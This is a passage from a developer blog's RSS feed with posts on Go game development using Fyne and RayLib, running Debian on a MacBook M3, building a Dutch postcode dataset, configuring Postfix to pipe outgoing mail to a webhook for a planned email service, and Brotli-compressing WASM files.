platforms, it is fast and easy to compile, has cross-compilation support and the
RayLib bindings are available in many programming languages and for many
platforms. I prefer RayLib over Ebiten in general: it feels more mature and more
finished and it seems easier to port to other platforms (such as HTML5, Nintendo
Switch or Android).</p>
<h3 id="download">Download</h3>
<p>Binaries:
<a href="https://github.com/mevdschee/raylib-go-mines/releases">https://github.com/mevdschee/raylib-go-mines/releases</a></p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://tqdev.com/2024-creating-a-2d-puzzle-game-in-fyne">TQdev.com - A 2D puzzle game in Go using Fyne</a></li>
<li><a href="https://tqdev.com/2021-minesweeper-written-in-go-using-ebiten">TQdev.com - Minesweeper written in Go using Ebiten</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Running Debian on a MacBook M3</title>
      <link>https://www.tqdev.com/2024-running-debian-on-a-macbook-m3/</link>
      <pubDate>Sat, 15 Jun 2024 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2024-running-debian-on-a-macbook-m3/</guid>
      <description>&lt;p&gt;In the hypothetical case that your employer is so kind to provide you with a
MacBook Pro M3 (please don&amp;rsquo;t buy one) you have only one question: How do I run
Linux on it? First you want to install
&lt;a href=&#34;https://asahilinux.org/fedora/#device-support&#34;&gt;Asahi Linux&lt;/a&gt;, but then you find
out that the M3 is not supported. Now what?&lt;/p&gt;
&lt;h3 id=&#34;utm-virtual-machines&#34;&gt;UTM Virtual Machines&lt;/h3&gt;
&lt;p&gt;You may think you need Parallels Desktop 19 or VMware Fusio Pro 13, as I also
assumed. But then I ran into UTM which is open source software based on QEMU.
The software does not have CPU core limits nor RAM limits and it performs very
well. Also it has a great mouse capture mode that, together with full screen
mode, helps me forget that I&amp;rsquo;m actually running on OSX. I like everything about
it.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>In the hypothetical case that your employer is so kind to provide you with a
MacBook Pro M3 (please don&rsquo;t buy one) you have only one question: How do I run
Linux on it? First you want to install
<a href="https://asahilinux.org/fedora/#device-support">Asahi Linux</a>, but then you find
out that the M3 is not supported. Now what?</p>
<h3 id="utm-virtual-machines">UTM Virtual Machines</h3>
<p>You may think you need Parallels Desktop 19 or VMware Fusio Pro 13, as I also
assumed. But then I ran into UTM which is open source software based on QEMU.
The software does not have CPU core limits nor RAM limits and it performs very
well. Also it has a great mouse capture mode that, together with full screen
mode, helps me forget that I&rsquo;m actually running on OSX. I like everything about
it.</p>
<p><a href="https://mac.getutm.app/">Download UTM</a></p>
<h3 id="download-linux-for-arm64">Download Linux for arm64</h3>
<p>I have found the following great Linux arm64 images:</p>
<ul>
<li><a href="https://cdimage.debian.org/cdimage/release/current/arm64/iso-dvd/">Debian 12.5 DVD ISO arm64 image</a></li>
<li><a href="https://cdimage.ubuntu.com/jammy/daily-live/current/">Ubuntu 22.04 ISO arm64 image</a></li>
</ul>
<p>You can run these easily using the virtualization software.</p>
<h3 id="web-development-on-arm64">Web development on arm64</h3>
<p>I tried running all docker environments for
<a href="https://github.com/mevdschee/php-crud-api">PHP-CRUD-API</a> and they all ran
flawlessly without any adjustment, except for the one that relied on MS SQL
Server, as it couldn&rsquo;t find arm64 builds for it. So if you are into PHP/MySQL
web development running on arm64 is a good choice. Also, considering Hetzner has
arm64 virtual machines at half the price of their amd64 counterparts.</p>
<h3 id="recommending-macbook">Recommending MacBook?</h3>
<p>I normally do not recommend to buy Apple products, but I think I can make an
exception here. With it&rsquo;s great screen, nice keyboard and nice battery life, I
can recommend a Macbook to people that have their production servers on arm64,
like
<a href="https://www.anandtech.com/show/16315/the-ampere-altra-review">dual Ampere Altra 80-Core servers</a>.
I do recommend the m2 model as it has Asahi Linux support, avoiding the need for
a virtual machine and as a bonus is also more affordable.</p>
<h3 id="lenovo-yoga-pro-7x">Lenovo Yoga Pro 7x</h3>
<p>I&rsquo;m looking forward to testing out the Lenovo Yoga Pro 7x, especially with
native Linux on it. Lenovo Yoga Pro is a very nice product line (also on amd64)
and is running with a Qualcomm Snapdragon X Elite, has a high res OLED screen
and can be bought with 32GB of RAM at 1700 euro. I haven&rsquo;t tested it yet, as it
is not generally available yet.</p>
<h3 id="qualcomm-snapdragon-dev-kit">Qualcomm Snapdragon Dev Kit</h3>
<p>I&rsquo;m also very excited for the Quallcom Snapdragon Dev Kit that is about to be
released and that I would love to run as a development machine for (web based)
arm64 software. I signed up for pre-ordering one when it comes out.</p>
<p><a href="https://www.qualcomm.com/news/releases/2024/05/qualcomm-accelerates-development-for-copilot--pcs-with-snapdrago">Qualcomm Snapdragon Dev Kit</a></p>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>A 2D puzzle game in Go using Fyne</title>
      <link>https://www.tqdev.com/2024-creating-a-2d-puzzle-game-in-fyne/</link>
      <pubDate>Mon, 22 Apr 2024 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2024-creating-a-2d-puzzle-game-in-fyne/</guid>
      <description>&lt;p&gt;Last month I wrote
&lt;a href=&#34;https://tqdev.com/2024-minesweeper-in-go-using-fyne&#34;&gt;Minesweeper written in Go using Fyne&lt;/a&gt;.
It was a port of the Ebiten game engine implementation to desktop using the Fyne
GUI library. During the implementation I ran into 3 problems that I eventually
solved. In this post I&amp;rsquo;ll explain what they were and how I solved them.&lt;/p&gt;
&lt;p&gt;Source code:
&lt;a href=&#34;https://github.com/mevdschee/fyne-mines&#34;&gt;https://github.com/mevdschee/fyne-mines&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&#34;1-minsize-of-container-without-layout&#34;&gt;1: MinSize of container without layout&lt;/h3&gt;
&lt;p&gt;Fyne can use a (JWT-like) borderlayout, but you can also freely place your
controls (or &amp;ldquo;widgets&amp;rdquo; as Fyne calls them) using a container without a layout.
To set the size of this container you can put this container in a a stack
container together with an image of a certain (minimum) size.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Last month I wrote
<a href="https://tqdev.com/2024-minesweeper-in-go-using-fyne">Minesweeper written in Go using Fyne</a>.
It was a port of the Ebiten game engine implementation to desktop using the Fyne
GUI library. During the implementation I ran into 3 problems that I eventually
solved. In this post I&rsquo;ll explain what they were and how I solved them.</p>
<p>Source code:
<a href="https://github.com/mevdschee/fyne-mines">https://github.com/mevdschee/fyne-mines</a></p>
<h3 id="1-minsize-of-container-without-layout">1: MinSize of container without layout</h3>
<p>Fyne can use a (JWT-like) borderlayout, but you can also freely place your
controls (or &ldquo;widgets&rdquo; as Fyne calls them) using a container without a layout.
To set the size of this container you can put this container in a a stack
container together with an image of a certain (minimum) size.</p>
<pre><code>parentContainer := container.NewStack()
i := canvas.NewImageFromImage(image.NewNRGBA(image.Rect(0, 0, 0, 0)))
i.SetMinSize(fyne.NewSize(float32(width), float32(height)))
parentContainer.Add(i)
childContainer := container.NewWithoutLayout()
parentContainer.Add(childContainer)
// add and move widgets in the childContainer
</code></pre>
<p>As you can see you can nest containers to achieve complex layouts.</p>
<h3 id="2-make-scalemode-imagescalepixels-work">2: Make Scalemode ImageScalePixels work</h3>
<p>I wanted large pixels (size 2x2), but could only achieve smoothed results. When
I was setting &ldquo;ScaleMode = canvas.ImageScalePixels&rdquo; on a image created using the
&ldquo;SubImage()&rdquo; method it was not rendered. If I used &ldquo;draw.Copy()&rdquo; or the more
powerful &ldquo;draw.NearestNeighbor.Scale()&rdquo; on an empty image created with
&ldquo;image.NewNRGBA()&rdquo; it did work, see:</p>
<pre><code>srcRect := image.Rect(srcX, srcY, srcX+srcWidth, srcY+srcHeight)
dstRect := image.Rect(0, 0, srcWidth, srcHeight)
dst := image.NewNRGBA(dstRect)
draw.Copy(dst, image.Point{}, src, srcRect, draw.Over, nil)
img := canvas.NewImageFromImage(dst)
img.ScaleMode = canvas.ImageScalePixels
</code></pre>
<p>NB: The simpler &ldquo;dst := src.SubImage(srcRect)&rdquo; worked, but not with this
pixelated (and faster) scale mode.</p>
<h3 id="3-the-canvasimage-is-not-clickable">3: The canvas.Image is not clickable</h3>
<p>Fyne is awesome as it provides many controls (or &ldquo;widgets&rdquo; as they are called).
You get &ldquo;Button&rdquo;, &ldquo;MainMenu&rdquo; end even a nice (native) &ldquo;TrayIcon&rdquo;. But for a game
I mainly want to handle mouse events on a sprite (image). To handle mouse events
on a &ldquo;canvas.Image&rdquo; I made an &ldquo;interactive.Image&rdquo; as defined below:</p>
<pre><code>package interactive

import (
    &quot;fyne.io/fyne/v2&quot;
    &quot;fyne.io/fyne/v2/canvas&quot;
    &quot;fyne.io/fyne/v2/driver/desktop&quot;
    &quot;fyne.io/fyne/v2/widget&quot;
)

type Image struct {
    *canvas.Image
    onMouseDown  func(ev *desktop.MouseEvent)
    onMouseUp    func(ev *desktop.MouseEvent)
    onMouseIn    func(ev *desktop.MouseEvent)
    onMouseOut   func()
    onMouseMoved func(ev *desktop.MouseEvent)
}

// ensure Mousable and Hoverable
var _ desktop.Mouseable = (*Image)(nil)
var _ desktop.Hoverable = (*Image)(nil)
</code></pre>
<p>This is essential for allowing Mouse handlers on images. I used
&ldquo;fyne.NewMainMenu()&rdquo; to create a main menu and listen to &ldquo;desktop.MouseEvent&rdquo; on
the canvas images. Note that I&rsquo;ve explicitly made a desktop application and
therefore have chosen the desktop events and the main menu for optimal desktop
application experience.</p>
<h3 id="conclusion">Conclusion</h3>
<p>I have experience building (2d puzzle) games in various technologies and I have
recently explored Typescript (see:
<a href="https://tqdev.com/2023-tictactoe-in-typescript">TicTacToe in TypeScript</a>) and
Ebiten (see:
<a href="https://tqdev.com/2021-minesweeper-written-in-go-using-ebiten">Minesweeper written in Go using Ebiten</a>).
Typescript is great for DOM based web games and Ebiten is great for pixel based
web games. With Fyne I have found a great way to build cross platform 2d puzzle
games for the desktop.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://apps.fyne.io/apps/com.tqdev.fyne-mines.html">Fyne.io - Fyne Mines</a></li>
<li><a href="https://github.com/mevdschee/fyne-mines">Github.com - mevdschee/fyne-mines</a></li>
<li><a href="https://tqdev.com/2024-minesweeper-in-go-using-fyne">TQdev.com - Minesweeper written in Go using Fyne</a></li>
<li><a href="https://tqdev.com/2023-tictactoe-in-typescript">TQdev.com - TicTacToe in TypeScript</a></li>
<li><a href="https://github.com/mevdschee/minesweeper.go">TQdev.com - Minesweeper in Go (using Ebiten)</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Free Dutch postcodes CSV dataset</title>
      <link>https://www.tqdev.com/2024-free-dutch-postcodes-csv-dataset/</link>
      <pubDate>Thu, 18 Apr 2024 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2024-free-dutch-postcodes-csv-dataset/</guid>
      <description>&lt;p&gt;Web shops in the Netherlands need accurate address validation and completion.
Kadaster is a Dutch government body that can provide the
&lt;a href=&#34;https://bagviewer.kadaster.nl/lvbag/bag-viewer/&#34;&gt;data that we need&lt;/a&gt;.
Unfortunately they only provide the data in an almost unusable format (about
96GB of XML data), while we need a CSV file with only a small subset of that
data for our needs. In this blog post I&amp;rsquo;ll explain how to reduce the vast
dataset into a small file of either 40MB (megabyte) including locations in RD
coordinates or 17MB without.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Web shops in the Netherlands need accurate address validation and completion.
Kadaster is a Dutch government body that can provide the
<a href="https://bagviewer.kadaster.nl/lvbag/bag-viewer/">data that we need</a>.
Unfortunately they only provide the data in an almost unusable format (about
96GB of XML data), while we need a CSV file with only a small subset of that
data for our needs. In this blog post I&rsquo;ll explain how to reduce the vast
dataset into a small file of either 40MB (megabyte) including locations in RD
coordinates or 17MB without.</p>
<h3 id="bert-huberts-bagconv">Bert Hubert&rsquo;s bagconv</h3>
<p>I <a href="https://github.com/mevdschee/bagconv-docker">modified</a> the &ldquo;bagconv&rdquo; tool
created by Bert Hubert to do all the required steps in one go (in about half an
hour):</p>
<ol>
<li>download (3GB zip)</li>
<li>unpack (3GB zip into 96GB xml)</li>
<li>convert (96GB XML into 9GB sqlite)</li>
<li>extract (9GB sqlite into 350MB csv)</li>
<li>compress (350MB csv into 17MB 7z)</li>
</ol>
<p>The command to install the dependencies and run locally is:</p>
<pre><code>sudo apt install build-essential cmake libsqlite3-dev nlohmann-json3-dev zlib1g-dev 
sudo apt install sqlite3 wget unzip 7zip 7zip-standalone
bash run.sh
</code></pre>
<p>Or you can run without installing dependencies via docker with:</p>
<pre><code>bash docker-run.sh
</code></pre>
<p>Note that a run may take half an hour and use 110G (gigabyte) of disk space. You
can run:</p>
<pre><code>bash clean.sh
</code></pre>
<p>to clean up all used diskspace after you copied the files from the &ldquo;dist&rdquo; folder
that you need.</p>
<h3 id="loading-using-sql">Loading using SQL</h3>
<p>The resulting 7zip compressed CSV files can be loaded into MariaDB database as
shown in the <a href="https://github.com/mevdschee/postcodes-nl">postcodes-nl</a> and
<a href="https://github.com/mevdschee/postcodes-nl-geo">postcodes-nl-geo</a> projects. Note
that the releases of those projects contain these required datasets (7z files),
so there is no need to run the conversion by yourself. I will try to release the
loader script plus dataset regularly. I will try to maintain the fork in order
to build my own 7zip compressed CSV files.</p>
<p>If you have any improvements or additions, please create an issue on the
corresponding Github project.</p>
<h3 id="postnl-address-check-service">PostNL address check service</h3>
<p>You can now implement a service comparable to the
<a href="https://www.postnl.nl/en/find-an-address/">PostNL addres check service</a>. You
can execute the following GET request:</p>
<pre><code>curl -G -d &quot;postalCode=1000AA&quot; -d &quot;houseNumber=1&quot; -d &quot;houseNumberSuffix=&quot; \
https://productprijslokatie.postnl.nl/address-widget/api/lookup/address | jq
</code></pre>
<p>that returns:</p>
<pre><code>{
    &quot;address&quot;: {
        &quot;street&quot;: &quot;Postbus&quot;,
        &quot;postalCode&quot;: &quot;1000AA&quot;,
        &quot;houseNumber&quot;: &quot;1&quot;,
        &quot;houseNumberSuffix&quot;: null,
        &quot;city&quot;: &quot;AMSTERDAM&quot;
    },
    &quot;matched&quot;: true,
    &quot;availableHouseNumberSuffixes&quot;: []
}
</code></pre>
<p>NB: Please don&rsquo;t abuse this PostNL API, it seems to be designed for internal use
only.</p>
<h3 id="download-dataset">Download dataset</h3>
<ul>
<li><a href="https://github.com/mevdschee/postcodes-nl/releases">postcodes-nl.7z</a></li>
<li><a href="https://github.com/mevdschee/postcodes-nl-geo/releases">postcodes-nl-geo.7z</a></li>
</ul>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://bagviewer.kadaster.nl/lvbag/bag-viewer/">Kadaster.nl - BAG viewer</a></li>
<li><a href="https://github.com/mevdschee/postcodes-nl">Github.com - mevdschee/postcodes-nl</a></li>
<li><a href="https://github.com/mevdschee/postcodes-nl-geo">Github.com - mevdschee/postcodes-nl-geo</a></li>
<li><a href="https://github.com/mevdschee/bagconv-docker">Github.com - mevdschee/bagconv-docker</a></li>
<li><a href="https://github.com/berthubert/bagconv">Github.com - berthubert/bagconv</a></li>
<li><a href="https://www.postnl.nl/en/find-an-address/">PostNL - Find an address using a postcode</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Creating 103mail.com - Update 1</title>
      <link>https://www.tqdev.com/2024-creating-103mail-com-update-1/</link>
      <pubDate>Fri, 12 Apr 2024 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2024-creating-103mail-com-update-1/</guid>
      <description>&lt;p&gt;I am building a free email service that respects privacy and prevents profiling
on &lt;a href=&#34;https://103mail.com&#34;&gt;103mail.com&lt;/a&gt; (see:
&lt;a href=&#34;https://tqdev.com/2024-creating-103mail-com-the-plan&#34;&gt;the plan&lt;/a&gt;). In this post
I explain how outgoing mail can be captured to be handled by a web hook, while
internal email is delivered normally. The post assumes you are running Postfix
as mail server and assumes you run this on a recent Debian (based) Linux server.&lt;/p&gt;
&lt;h3 id=&#34;make-postfix-deliver-to-a-web-hook&#34;&gt;Make Postfix deliver to a web hook&lt;/h3&gt;
&lt;p&gt;Install postfix using&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I am building a free email service that respects privacy and prevents profiling
on <a href="https://103mail.com">103mail.com</a> (see:
<a href="https://tqdev.com/2024-creating-103mail-com-the-plan">the plan</a>). In this post
I explain how outgoing mail can be captured to be handled by a web hook, while
internal email is delivered normally. The post assumes you are running Postfix
as mail server and assumes you run this on a recent Debian (based) Linux server.</p>
<h3 id="make-postfix-deliver-to-a-web-hook">Make Postfix deliver to a web hook</h3>
<p>Install postfix using</p>
<pre><code>apt install postfix postfix-pcre
</code></pre>
<p>Choose &ldquo;Internet Site&rdquo; as default configuration.</p>
<pre><code>nano /etc/postfix/main.cf
</code></pre>
<p>Add the line:</p>
<pre><code>virtual_alias_maps = pcre:/etc/postfix/virtual
</code></pre>
<p>Add the file:</p>
<pre><code>nano /etc/postfix/virtual
</code></pre>
<p>Content:</p>
<pre><code>/.*@(?!103mail\.com$).*/ curl
</code></pre>
<p>Modify the file:</p>
<pre><code>nano /etc/aliases
</code></pre>
<p>Add the file:</p>
<pre><code>curl: &quot;|curl --data-binary @- https://103mail.com/webhook&quot;
</code></pre>
<p>Optionally, add the following flags to the curl command make curl silent (except
for errors):</p>
<pre><code>-S -s -o /dev/null
</code></pre>
<p>Optionally, add the following curl option to the curl command to set the correct
Content-Type header:</p>
<pre><code>-H 'Content-Type: application/octet-stream'
</code></pre>
<p>Now make the aliases effective:</p>
<pre><code>newaliases
</code></pre>
<p>Enable logging:</p>
<pre><code>apt install rsyslog
systemctl restart postfix
tail -f /var/log/mail.log
</code></pre>
<p>You will see the mails and their corresponding curl calls to the web hook in the
log file.</p>
<h3 id="whats-next">What&rsquo;s next?</h3>
<p>In the next posts I will describe how to send a notification to the recipient
with a web link to read the content of the mail. If you are interested, please
follow this blog and also keep an eye on <a href="https://103mail.com">103mail.com</a> as
you may be able to sign-up at a certain point in time.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://serverfault.com/questions/258469/how-to-configure-postfix-to-pipe-all-incoming-email-to-a-script">Serverfault.com - How to configure postfix to pipe all incoming email to a script?</a></li>
<li><a href="https://serverfault.com/questions/144325/how-to-redirect-all-postfix-emails-to-one-external-email-address">Serverfault.com - How to redirect all postfix emails to one external email address?</a></li>
<li><a href="https://serverfault.com/questions/320320/postfix-development-server-intercept-all-outgoing-mail">Serverfault.com - Postfix development server: intercept all outgoing mail</a></li>
<li><a href="https://catonmat.net/cookbooks/curl/make-curl-silent">catonmat.net - Make Curl silent</a></li>
<li><a href="https://tqdev.com/2024-creating-103mail-com-the-plan">TQdev.com - 103mail.com - The plan</a>
(2024-04-11)</li>
<li>TQdev.com - 103mail.com - Update 1 (2024-04-12)</li>
<li><a href="https://tqdev.com/2025-creating-103mail-com-update-2">TQdev.com - 103mail.com - Update 2</a>
(2025-03-30)</li>
<li><a href="https://tqdev.com/2025-creating-103mail-com-update-3">TQdev.com - 103mail.com - Update 3</a>
(2025-11-18)</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Creating 103mail.com - The plan</title>
      <link>https://www.tqdev.com/2024-creating-103mail-com-the-plan/</link>
      <pubDate>Thu, 11 Apr 2024 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2024-creating-103mail-com-the-plan/</guid>
      <description>&lt;p&gt;I am building a free email service that respects privacy and prevents profiling
on &lt;a href=&#34;https://103mail.com&#34;&gt;103mail.com&lt;/a&gt;. The simple premise is that even if you
don&amp;rsquo;t use Gmail then Google still has half of the world&amp;rsquo;s email messages and
since email messages tend to contain all previous content, they can still
profile all people in the world (even people that try to avoid Google). When
using 103mail.com the email (content) will never leave the server. The outgoing
email will be replaced with a notification with a link to the web mail viewer.
Thus the outgoing mail content can only be viewed over the web and people or
servers reading the mail will be logged. Nevertheless 103mail.com will be a
standard compliant IMAP/SMTP server that can be used with any mail client on
desktop or mobile.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I am building a free email service that respects privacy and prevents profiling
on <a href="https://103mail.com">103mail.com</a>. The simple premise is that even if you
don&rsquo;t use Gmail then Google still has half of the world&rsquo;s email messages and
since email messages tend to contain all previous content, they can still
profile all people in the world (even people that try to avoid Google). When
using 103mail.com the email (content) will never leave the server. The outgoing
email will be replaced with a notification with a link to the web mail viewer.
Thus the outgoing mail content can only be viewed over the web and people or
servers reading the mail will be logged. Nevertheless 103mail.com will be a
standard compliant IMAP/SMTP server that can be used with any mail client on
desktop or mobile.</p>
<h3 id="the-plan">The plan</h3>
<p>The plan is to do the following steps:</p>
<ul>
<li>Capture outgoing email to a web hook, while allowing local delivery (see:
Update 1)</li>
<li>Notify the recipient, with a (secured) link to the mail body</li>
<li>Implement a really nice (logging) web based email viewer</li>
<li>Allow people to sign up and change their password</li>
<li>Implement retention rules: mail (2 years), attachments (2 months)</li>
</ul>
<p>Optionally we implement the following:</p>
<ul>
<li>Block incoming email (secure notification service)</li>
<li>Create new mail via the web (ticket system)</li>
<li>Reply via the viewer (secure reply)</li>
<li>Web mail client (for instance Roundcube)</li>
<li>Support for custom domains (commercially supported)</li>
</ul>
<h3 id="whats-next">What&rsquo;s next?</h3>
<p>In the upcoming weeks or months this blog will contain several updates on the
progress of the 103mail.com mail service. Maybe it will succeed, maybe it will
fail. You&rsquo;ll read it here :-)</p>
<h3 id="links">Links</h3>
<ul>
<li>TQdev.com - 103mail.com - The plan (2024-04-11)</li>
<li><a href="https://tqdev.com/2024-creating-103mail-com-update-1">TQdev.com - 103mail.com - Update 1</a>
(2024-04-12)</li>
<li><a href="https://tqdev.com/2025-creating-103mail-com-update-2">TQdev.com - 103mail.com - Update 2</a>
(2025-03-30)</li>
<li><a href="https://tqdev.com/2025-creating-103mail-com-update-3">TQdev.com - 103mail.com - Update 3</a>
(2025-11-18)</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Minesweeper written in Go using Fyne</title>
      <link>https://www.tqdev.com/2024-minesweeper-in-go-using-fyne/</link>
      <pubDate>Fri, 05 Apr 2024 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2024-minesweeper-in-go-using-fyne/</guid>
      <description>&lt;p&gt;It was already 3 years ago that I wrote
&lt;a href=&#34;https://tqdev.com/2021-minesweeper-written-in-go-using-ebiten&#34;&gt;Minesweeper for Ebiten in Go&lt;/a&gt;.
I wanted to try to bring the application to desktop. I have ported that
implementation from using the Ebiten game engine to desktop using the Fyne GUI
library and I have just released version 1.0.0 that can be run on Windows and
Linux.&lt;/p&gt;
&lt;h3 id=&#34;download&#34;&gt;Download&lt;/h3&gt;
&lt;p&gt;You can download the Windows and Linux releases from Github:&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://github.com/mevdschee/fyne-mines&#34;&gt;https://github.com/mevdschee/fyne-mines&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;It is a portable (single-file) executable without any dependencies.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>It was already 3 years ago that I wrote
<a href="https://tqdev.com/2021-minesweeper-written-in-go-using-ebiten">Minesweeper for Ebiten in Go</a>.
I wanted to try to bring the application to desktop. I have ported that
implementation from using the Ebiten game engine to desktop using the Fyne GUI
library and I have just released version 1.0.0 that can be run on Windows and
Linux.</p>
<h3 id="download">Download</h3>
<p>You can download the Windows and Linux releases from Github:</p>
<p><a href="https://github.com/mevdschee/fyne-mines">https://github.com/mevdschee/fyne-mines</a></p>
<p>It is a portable (single-file) executable without any dependencies.</p>
<h3 id="graphics-and-rules">Graphics and rules</h3>
<p>&ldquo;<a href="https://www.curtisbright.com/msx/">Minesweeper X</a>&rdquo; by Curtis Bright is IMHO
the best implementation of Minesweeper ever made. He also provided a
<a href="https://www.curtisbright.com/msx/skins/skinelements.png">skinning system</a>. For
the rules of the game I have been reading the
<a href="https://minesweepergame.com">MinesweeperGame.com</a> website. As a reference I
have also looked at the great
<a href="https://minesweeperonline.com">Minesweeper Online</a> implementation in
Javascript.</p>
<h3 id="go-with-fyne-or-with-ebitengine">Go with Fyne or with Ebitengine?</h3>
<p>I have found that Fyne is really good for creating simple cross-platform apps,
while Ebitengine is really good for creating simple cross-platform games. The
main difference is that Ebiten redraws the entire screen on every tick
(immediate mode), while Fyne knows about widgets that are arranged in a certain
layout and refreshed on demand (retained mode).</p>
<h3 id="so-many-controls">So many controls</h3>
<p>You get nice controls like label, button, entry, form, progressbar, mainmenu.
This allows you to make some great cross-platform GUI applications that look the
same on every platform. Important is that the systray (menu) is supported (with
a native control) so that you can write a small tool that auto-starts and stays
there.</p>
<h3 id="cross-compiling">Cross compiling</h3>
<p>Cross-platform is support is even more magical due to the
<a href="https://docs.fyne.io/started/cross-compiling.html">cross-compiling</a> support.
You can easily build your Windows executable on Linux. I tried to run the
resulting Windows executable under Wine and succeeded.</p>
<h3 id="performance">Performance</h3>
<p>On desktop the Fyne engine runs pretty fast and as long as I didn&rsquo;t redraw the
entire field on every interaction the graphics were nice and fast (as expected).
I also tried to run the Fyne version via WASM, but it was much slower and also
very large (28 megabytes WASM file). I have read that using Firefox makes the
WASM files run slower (compared to Chromium), but also the Ebiten implementation
run via WASM was much faster.</p>
<h3 id="conclusion">Conclusion</h3>
<p>If you are building a small desktop tool, then Fyne may be the optimal choice.
Consistent GUI across platforms, fast and easy to compile, cross-compile,
package and publish. If you are building a (small) game, then you&rsquo;d better stick
to Ebiten. For any more serious web application I would use Typescript as I did
for <a href="https://www.acecardgames.com/">AceCardGames.com</a>.</p>
<p>NB: If you liked this article, you may also like my next article on
<a href="https://tqdev.com/2024-creating-a-2d-puzzle-game-in-fyne">creating a 2D puzzle game in Go using Fyne</a>.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://tqdev.com/2024-creating-a-2d-puzzle-game-in-fyne">TQdev.com - A 2D puzzle game in Go using Fyne</a></li>
<li><a href="https://fyne.io/">Fyne - An easy to learn toolkit for creating graphical apps for desktop, mobile and web</a></li>
<li><a href="https://tqdev.com/2021-minesweeper-written-in-go-using-ebiten">TQdev.com - Minesweeper written in Go using Ebiten</a></li>
<li><a href="https://www.curtisbright.com/msx/">Minesweeper X</a></li>
<li><a href="https://minesweeperonline.com">Minesweeper Online</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Using Brotli to deliver smaller WASM files</title>
      <link>https://www.tqdev.com/2024-using-brotli-to-deliver-smaller-wasm-files/</link>
      <pubDate>Thu, 04 Apr 2024 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2024-using-brotli-to-deliver-smaller-wasm-files/</guid>
      <description>&lt;p&gt;I ran into the
&lt;a href=&#34;https://oddstream.games/gosol/gosol.html&#34;&gt;free online solitaire card games by Oddstream Games&lt;/a&gt;
and I loved the (&lt;a href=&#34;https://github.com/oddstream/gosold&#34;&gt;open source&lt;/a&gt;)
implementation of solitaire card games in Go and
&lt;a href=&#34;https://ebitengine.org/&#34;&gt;Ebitengine&lt;/a&gt;. I noticed that the 12.4MB WASM file had
been compressed with GZIP which resulted in only 4.8MB of transfer. I compared
the &lt;a href=&#34;https://caniuse.com/?search=gzip&#34;&gt;support for Gzip&lt;/a&gt; with the
&lt;a href=&#34;https://caniuse.com/?search=brotli&#34;&gt;support for Brotli&lt;/a&gt; and also compared the
resulting file sizes. The
&lt;a href=&#34;https://en.wikipedia.org/wiki/Brotli&#34;&gt;Brotli compression&lt;/a&gt; is not only better
supported, but it also compressed the same 12.4MB file to 3.5MB instead of
4.8MB. In this blog post I&amp;rsquo;ll explain how to serve Brotli compressed WASM files
using Apache. Note that I am using pre-compressed files (not on-the-fly
compressed) as Brotli compression can be heavy.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I ran into the
<a href="https://oddstream.games/gosol/gosol.html">free online solitaire card games by Oddstream Games</a>
and I loved the (<a href="https://github.com/oddstream/gosold">open source</a>)
implementation of solitaire card games in Go and
<a href="https://ebitengine.org/">Ebitengine</a>. I noticed that the 12.4MB WASM file had
been compressed with GZIP which resulted in only 4.8MB of transfer. I compared
the <a href="https://caniuse.com/?search=gzip">support for Gzip</a> with the
<a href="https://caniuse.com/?search=brotli">support for Brotli</a> and also compared the
resulting file sizes. The
<a href="https://en.wikipedia.org/wiki/Brotli">Brotli compression</a> is not only better
supported, but it also compressed the same 12.4MB file to 3.5MB instead of
4.8MB. In this blog post I&rsquo;ll explain how to serve Brotli compressed WASM files
using Apache. Note that I am using pre-compressed files (not on-the-fly
compressed) as Brotli compression can be heavy.</p>
<h3 id="background">Background</h3>
<p>As the author of <a href="https://www.acecardgames.com/">AceCardGames.com</a>
(<a href="https://tqdev.com/2023-writing-games-in-typescript">a game written in Typescript</a>)
I am always interested in other web based implementations of solitaire games. I
love that the Oddstream solitaire game is
<a href="https://github.com/oddstream/gosold">open source</a> as this allows me to analyze
the performance optimizations done. This was especially interesting to me as I
wrote an
<a href="https://tqdev.com/2021-minesweeper-written-in-go-using-ebiten">open source Minesweeper game in Go and Ebiten</a>
and I wasn&rsquo;t too happy about the performance. The first good thing I noticed
about the Oddstream game was the relative small file size, which is what this
post is about. The second thing I noticed was the high frame-rate (even when
full screen), but I didn&rsquo;t analyze that yet.</p>
<h3 id="pre-compressing">Pre-compressing</h3>
<p>Most browsers know how to decompress Brotli encrypted files. WASM files can
achieve good compression ratios with Brotli compression. You can compress files
using <a href="https://peazip.github.io/">PeaZip</a>. PeaZip is an awesome open source
cross platform compression tool (written in Lazarus/FreePascal) that supports
all popular compression formats. On Debian based systems you can install the
command line &ldquo;<code>brotli</code>&rdquo; tool to compress your wasm file.</p>
<pre><code>sudo apt install brotli
</code></pre>
<p>Now you can compress your WASM file(s) using:</p>
<pre><code>brotli -Z --suffix=-brotli `ebiten-mines.wasm`
</code></pre>
<p>This command creates the &ldquo;<code>ebiten-mines.wasm-brotli</code>&rdquo; compressed file and takes
several seconds to run (as it is using &ldquo;best&rdquo; compression setting).</p>
